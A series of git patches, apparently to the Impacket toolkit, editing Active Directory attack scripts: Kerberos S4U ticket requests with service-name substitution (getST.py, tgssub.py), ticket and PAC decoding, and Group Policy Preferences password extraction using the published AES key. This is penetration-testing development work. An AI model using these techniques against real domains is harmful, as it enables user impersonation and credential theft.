not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice + if '/' in sname: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + else: + current_service = "%s@%s" % (service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + self.__saveFileName += '@' + new_service_class + '_' + new_service_hostname + '@' + new_service_realm._value + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + ticket = encoder.encode(decodedST) + ccache.fromTGS(ticket, sessionKey, sessionKey) + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + for creds in ccache.credentials: + creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + else: + ccache.fromTGS(ticket, sessionKey, sessionKey) + creds = ccache.credentials[0] + service_realm = creds['server'].realm['data'] + service_class = '' + if len(creds['server'].components) == 2: + service_class = creds['server'].components[0]['data'] + '_'; + service_host = creds['server'].components[1]['data']; + else: + service_host = creds['server'].components[0]['data']; + self.__saveFileName += '@' + service_class + service_host + '@' + service_realm + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -278,23 +342,9 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] @@ -401,6 +451,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) + if self.__options.spn is not None: + logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) @@ -424,6 +476,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if self.__no_s4u2proxy: + return r, None, sessionKey, None + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) @@ -599,23 +654,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def run(self): @@ -684,8 +723,9 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' @@ -693,6 +733,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -708,7 +749,7 @@ def run(self): group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') + 'omitted it use the domain part (FQDN) specified in the target parameter') if len(sys.argv) == 1: parser.print_help() @@ -719,6 +760,19 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + + if options.no_s4u2proxy and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2self") + + if options.no_s4u2proxy and options.altservice is not None: + if '/' not in options.altservice: + parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + + if options.additional_ticket is not None and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2proxy") + # Init the example's logger theme logger.init(options.ts) From 19c9dc260bcb7a3ba8278c685985c5f57edd2083 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 13:13:20 +0800 Subject: [PATCH 073/152] Update getST.py --- examples/getST.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index eb520008da..0bd4d60487 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -342,9 +342,23 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + cipherText = tgs['enc-part']['cipher'] - return r, None, sessionKey, None + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, cipher, sessionKey, newSessionKey def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] @@ -653,7 +667,6 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - return r, None, sessionKey, None def run(self): From 47db8eef163873d4e0aa54bec84eef879bdde51a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 13:59:37 +0800 Subject: [PATCH 074/152] Update getST.py --- examples/getST.py | 19 +------------------ 1 file changed, 1 insertion(+), 18 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 0bd4d60487..39de36612d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -341,24 +341,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] From 9388c65beb602aaccb538973b148ec2efcc450b6 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Feb 2022 12:14:14 +0100 Subject: [PATCH 075/152] Fixing filename definition for saveTicket --- examples/getST.py | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 39de36612d..8d4977103c 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -122,12 +122,12 @@ def saveTicket(self, ticket, sessionKey): logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) new_service_hostname = service_hostname new_service_class = self.__options.altservice - if '/' in sname: - current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) - else: + if len(service_class) == 0: current_service = "%s@%s" % (service_hostname, service_realm) + else: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) - self.__saveFileName += '@' + new_service_class + '_' + new_service_hostname + '@' + new_service_realm._value + self.__saveFileName += "@" + new_service.replace("/", "_") logging.info('Changing service from %s to %s' % (current_service, new_service)) # the values are changed in the ticket decodedST['ticket']['sname']['name-string'][0] = new_service_class @@ -145,11 +145,15 @@ def saveTicket(self, ticket, sessionKey): service_realm = creds['server'].realm['data'] service_class = '' if len(creds['server'].components) == 2: - service_class = creds['server'].components[0]['data'] + '_'; - service_host = creds['server'].components[1]['data']; + service_class = creds['server'].components[0]['data'] + '_' + service_hostname = creds['server'].components[1]['data'] + else: + service_hostname = creds['server'].components[0]['data'] + if len(service_class) == 0: + service = "%s@%s" % (service_hostname, service_realm) else: - service_host = creds['server'].components[0]['data']; - self.__saveFileName += '@' + service_class + service_host + '@' + service_realm + service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + self.__saveFileName += "@" + service.replace("/", "_") logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') From a01fd0ed4d65e64bd6436790c89e2f223ff04291 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Feb 2022 12:15:33 +0100 Subject: [PATCH 076/152] Fixing minor logging error --- examples/tgssub.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/tgssub.py b/examples/tgssub.py index 444e863dae..91b28a1b17 100755 --- a/examples/tgssub.py +++ b/examples/tgssub.py @@ -76,7 +76,10 @@ def substitute_sname(args): logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) new_service_hostname = service_hostname new_service_class = args.altservice - current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + if len(service_class) == 0: + current_service = "%s@%s" % (service_hostname, service_realm) + else: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) logging.info('Changing service from %s to %s' % (current_service, new_service)) # the values are changed in the ticket From 4714c317a8b69d9e0fde00c5d6351c656c14ed30 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Feb 2022 12:56:34 +0100 Subject: [PATCH 077/152] Adding ticket decoding and improving parsing --- examples/describeTicket.py | 35 ++++++++++++++++++++++++----------- 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0541d85bf3..b568ecb9f4 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -28,6 +28,7 @@ from pyasn1.codec.der import decoder from impacket import version +from impacket.dcerpc.v5.dtypes import FILETIME from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples import logger from impacket.krb5 import constants, pac @@ -73,9 +74,9 @@ def parse_ccache(args): cred_number = 0 logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) - logging.info('Parsing credential: %d' % cred_number) for creds in ccache.credentials: + logging.info('Parsing credential[%d]:' % cred_number) TGS = creds.toTGS() # sessionKey = hexlify(TGS['sessionKey'].contents).decode('utf-8') decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] @@ -119,12 +120,18 @@ def parse_ccache(args): if kerberoast_hash: logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) + logging.info("%-30s:" % "Decoding unencrypted data in credential[%d]['ticket']" % cred_number) + spn = "/".join(list([str(sname_component) for sname_component in decodedTicket['ticket']['sname']['name-string']])) + etype = decodedTicket['ticket']['enc-part']['etype'] + logging.info(" %-28s: %s" % ("Service Name", spn)) + logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) + logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) + logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) logging.debug("Handling Kerberos keys") ekeys = generate_kerberos_keys(args) # copypasta from krbrelayx.py # Select the correct encryption key - etype = decodedTicket['ticket']['enc-part']['etype'] try: logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) key = ekeys[etype] @@ -133,13 +140,13 @@ def parse_ccache(args): except KeyError: if len(ekeys) > 0: logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', - constants.EncryptionTypes(etype).name, - etype, - ', '.join([str(enctype) for enctype in ekeys.keys()])) + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) else: logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', - constants.EncryptionTypes(etype).name, - etype) + constants.EncryptionTypes(etype).name, + etype) return None # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? @@ -162,7 +169,7 @@ def parse_ccache(args): # So here we have the PAC pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) parsed_pac = parse_pac(pacType, args) - logging.info("%-30s:" % "Decrypted PAC") + logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number) for element_type in parsed_pac: element_type_name = list(element_type.keys())[0] logging.info(" %-28s" % element_type_name) @@ -289,9 +296,15 @@ def PACparseExtraSids(sid_and_attributes_array): clientInfo = pac.PAC_CLIENT_INFO() clientInfo.fromString(data) parsed_data = {} - parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) - # In case PR fixing pac.py's PAC_CLIENT_INFO structure doesn't get through - # parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) + try: + parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) + except Exception as e: + logging.debug(e) + logging.debug("Trying to parse the value with another method") + try: + parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) + except Exception as e: + logging.error(e) parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) From d3fdf4c126d33e8da7dbdaf07d9bda34ad542e01 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Mon, 21 Feb 2022 17:06:17 +0100 Subject: [PATCH 078/152] Added expired flag to endtime and renewtill times --- examples/describeTicket.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index b568ecb9f4..3b639a8cd1 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -87,8 +87,14 @@ def parse_ccache(args): logging.info("%-30s: %s" % ("Service Name", spn)) logging.info("%-30s: %s" % ("Service Realm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) logging.info("%-30s: %s" % ("Start Time", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) + if datetime.datetime.fromtimestamp(creds['time']['endtime']) < datetime.datetime.now(): + logging.info("%-30s: %s (expired)" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + else: + logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + if datetime.datetime.fromtimestamp(creds['time']['renew_till']) < datetime.datetime.now(): + logging.info("%-30s: %s (expired)" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) + else: + logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) flags = [] for k in constants.TicketFlags: From d8d454bff04d4ba19a48a23a03a56a2d9e7cb2dc Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 22 Feb 2022 15:32:49 +0100 Subject: [PATCH 079/152] Removing duplicate underscore in ccache name --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 8d4977103c..a97e5429af 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -145,7 +145,7 @@ def saveTicket(self, ticket, sessionKey): service_realm = creds['server'].realm['data'] service_class = '' if len(creds['server'].components) == 2: - service_class = creds['server'].components[0]['data'] + '_' + service_class = creds['server'].components[0]['data'] service_hostname = creds['server'].components[1]['data'] else: service_hostname = creds['server'].components[0]['data'] From 1d4c648192011c320e038c6616665005b70224c1 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Wed, 23 Feb 2022 16:59:53 +0100 Subject: [PATCH 080/152] [Get-GPPPassword.py] Better handling of various XML files in Group Policy Preferences. --- examples/Get-GPPPassword.py | 95 +++++++++++++++++++++++++++---------- 1 file changed, 70 insertions(+), 25 deletions(-) diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index fcdcf8dbe7..63456e7b66 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -10,6 +10,7 @@ # Description: # Python script for extracting and decrypting Group Policy Preferences passwords, # using Impacket's lib, and using streams for carving files instead of mounting shares +# https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/ # # Authors: # Remi Gascou (@podalirius_) @@ -18,6 +19,8 @@ import argparse import base64 +import xml + import chardet import logging import os @@ -87,19 +90,60 @@ def parse_xmlfile_content(self, filename, filecontent): results = [] try: root = minidom.parseString(filecontent) - properties_list = root.getElementsByTagName("Properties") + xmltype = root.childNodes[0].tagName # function to get attribute if it exists, returns "" if empty - read_or_empty = lambda element, attribute: ( - element.getAttribute(attribute) if element.getAttribute(attribute) != None else "") - for properties in properties_list: - results.append({ - 'newname': read_or_empty(properties, 'newName'), - 'changed': read_or_empty(properties.parentNode, 'changed'), - 'cpassword': read_or_empty(properties, 'cpassword'), - 'password': self.decrypt_password(read_or_empty(properties, 'cpassword')), - 'username': read_or_empty(properties, 'userName'), - 'file': filename - }) + read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") + + # ScheduledTasks + if xmltype == "ScheduledTasks": + for topnode in root.childNodes: + task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] + for task in task_nodes: + for property in task.getElementsByTagName("Properties"): + results.append({ + 'tagName': xmltype, + 'attributes': [ + ('runAs', read_or_empty(property, 'runAs')), + ('name', read_or_empty(task, 'name')), + ('changed', read_or_empty(property.parentNode, 'changed')), + ('cpassword', read_or_empty(property, 'cpassword')), + ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ], + 'file': filename + }) + elif xmltype == "Groups": + for topnode in root.childNodes: + task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] + for task in task_nodes: + for property in task.getElementsByTagName("Properties"): + results.append({ + 'tagName': xmltype, + 'attributes': [ + ('newName', read_or_empty(property, 'newName')), + ('userName', read_or_empty(property, 'userName')), + ('cpassword', read_or_empty(property, 'cpassword')), + ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ('changed', read_or_empty(property.parentNode, 'changed')), + ], + 'file': filename + }) + else: + for topnode in root.childNodes: + task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] + for task in task_nodes: + for property in task.getElementsByTagName("Properties"): + results.append({ + 'tagName': xmltype, + 'attributes': [ + ('newName', read_or_empty(property, 'newName')), + ('userName', read_or_empty(property, 'userName')), + ('cpassword', read_or_empty(property, 'cpassword')), + ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ('changed', read_or_empty(property.parentNode, 'changed')), + ], + 'file': filename + }) + except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() @@ -121,7 +165,7 @@ def parse(self, filename): raise output = fh.getvalue() encoding = chardet.detect(output)["encoding"] - if encoding != None: + if encoding is not None: filecontent = output.decode(encoding).rstrip() if 'cpassword' in filecontent: logging.debug(filecontent) @@ -136,10 +180,10 @@ def parse(self, filename): def decrypt_password(self, pw_enc_b64): if len(pw_enc_b64) != 0: - # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be) - key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \ - b'\x9b\x09\xa4\x33\xb6\x6c\x1b' - # thank you MS for using a fixed IV :) + # Thank you Microsoft for publishing the key :) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be + key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b' + # Thank you Microsoft for using a fixed IV :) iv = b'\x00' * 16 pad = len(pw_enc_b64) % 4 if pad == 1: @@ -156,11 +200,12 @@ def decrypt_password(self, pw_enc_b64): def show(self, results): for result in results: - logging.info("NewName\t: %s" % result['newname']) - logging.info("Changed\t: %s" % result['changed']) - logging.info("Username\t: %s" % result['username']) - logging.info("Password\t: %s" % result['password']) - logging.info("File\t: %s \n" % result['file']) + logging.info("Found a %s XML file:" % result['tagName']) + logging.info(" %-10s: %s" % ("file", result['file'])) + for attr, value in result['attributes']: + if attr != "cpassword": + logging.info(" %-10s: %s" % (attr, value)) + print() def parse_args(): @@ -266,13 +311,13 @@ def main(): print(version.BANNER) args = parse_args() init_logger(args) - if args.target.upper() == "LOCAL" : + if args.target.upper() == "LOCAL": if args.xmlfile is not None: # Only given decrypt XML file if os.path.exists(args.xmlfile): g = GetGPPasswords(None, None) logging.debug("Opening %s XML file for reading ..." % args.xmlfile) - f = open(args.xmlfile,'r') + f = open(args.xmlfile, 'r') rawdata = ''.join(f.readlines()) f.close() results = g.parse_xmlfile_content(args.xmlfile, rawdata) @@ -282,7 +327,7 @@ def main(): else: domain, username, password, address, lmhash, nthash = parse_target(args) try: - smbClient= init_smb_session(args, domain, username, password, address, lmhash, nthash) + smbClient = init_smb_session(args, domain, username, password, address, lmhash, nthash) g = GetGPPasswords(smbClient, args.share) g.list_shares() g.find_cpasswords(args.base_dir) From c69fcada93f19ea720d161b781386429ddaeba4e Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Wed, 23 Feb 2022 17:06:26 +0100 Subject: [PATCH 081/152] Better order of attributes for pretty print --- examples/Get-GPPPassword.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index 63456e7b66..96c5865106 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -103,11 +103,11 @@ def parse_xmlfile_content(self, filename, filecontent): results.append({ 'tagName': xmltype, 'attributes': [ - ('runAs', read_or_empty(property, 'runAs')), ('name', read_or_empty(task, 'name')), - ('changed', read_or_empty(property.parentNode, 'changed')), + ('runAs', read_or_empty(property, 'runAs')), ('cpassword', read_or_empty(property, 'cpassword')), ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ('changed', read_or_empty(property.parentNode, 'changed')), ], 'file': filename }) From 58174208f946c338df1a823a364a066351355366 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Fri, 25 Feb 2022 13:52:27 +0100 Subject: [PATCH 082/152] A bit of code refactoring --- examples/Get-GPPPassword.py | 162 ++++++++++++++++-------------------- 1 file changed, 71 insertions(+), 91 deletions(-) diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index 96c5865106..c97bf424ea 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -20,20 +20,16 @@ import argparse import base64 import xml - import chardet import logging import os import re import sys import traceback - from xml.dom import minidom -from io import BytesIO - +import io from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import unpad - from impacket import version from impacket.examples import logger, utils from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError @@ -52,38 +48,38 @@ def list_shares(self): resp = self.smb.listShares() shares = [] for k in range(len(resp)): - shares.append(resp[k]['shi1_netname'][:-1]) - print(' - %s' % resp[k]['shi1_netname'][:-1]) + shares.append(resp[k]["shi1_netname"][:-1]) + print(" - %s" % resp[k]["shi1_netname"][:-1]) print() - def find_cpasswords(self, base_dir, extension='xml'): + def find_cpasswords(self, base_dir, extension="xml"): logging.info("Searching *.%s files..." % extension) # Breadth-first search algorithm to recursively find .extension files files = [] - searchdirs = [base_dir + '/'] + searchdirs = [base_dir + "/"] while len(searchdirs) != 0: next_dirs = [] for sdir in searchdirs: - logging.debug('Searching in %s ' % sdir) + logging.debug("Searching in %s " % sdir) try: - for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None): - if sharedfile.get_longname() not in ['.', '..']: + for sharedfile in self.smb.listPath(self.share, sdir + "*", password=None): + if sharedfile.get_longname() not in [".", ".."]: if sharedfile.is_directory(): - logging.debug('Found directory %s/' % sharedfile.get_longname()) - next_dirs.append(sdir + sharedfile.get_longname() + '/') + logging.debug("Found directory %s/" % sharedfile.get_longname()) + next_dirs.append(sdir + sharedfile.get_longname() + "/") else: - if sharedfile.get_longname().endswith('.' + extension): - logging.debug('Found matching file %s' % (sdir + sharedfile.get_longname())) + if sharedfile.get_longname().endswith("." + extension): + logging.debug("Found matching file %s" % (sdir + sharedfile.get_longname())) results = self.parse(sdir + sharedfile.get_longname()) if len(results) != 0: self.show(results) files.append({"filename": sdir + sharedfile.get_longname(), "results": results}) else: - logging.debug('Found file %s' % sharedfile.get_longname()) + logging.debug("Found file %s" % sharedfile.get_longname()) except SessionError as e: logging.debug(e) searchdirs = next_dirs - logging.debug('Next iteration with %d folders.' % len(next_dirs)) + logging.debug("Next iteration with %d folders." % len(next_dirs)) return files def parse_xmlfile_content(self, filename, filecontent): @@ -101,15 +97,15 @@ def parse_xmlfile_content(self, filename, filecontent): for task in task_nodes: for property in task.getElementsByTagName("Properties"): results.append({ - 'tagName': xmltype, - 'attributes': [ - ('name', read_or_empty(task, 'name')), - ('runAs', read_or_empty(property, 'runAs')), - ('cpassword', read_or_empty(property, 'cpassword')), - ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), - ('changed', read_or_empty(property.parentNode, 'changed')), + "tagName": xmltype, + "attributes": [ + ("name", read_or_empty(task, "name")), + ("runAs", read_or_empty(property, "runAs")), + ("cpassword", read_or_empty(property, "cpassword")), + ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), + ("changed", 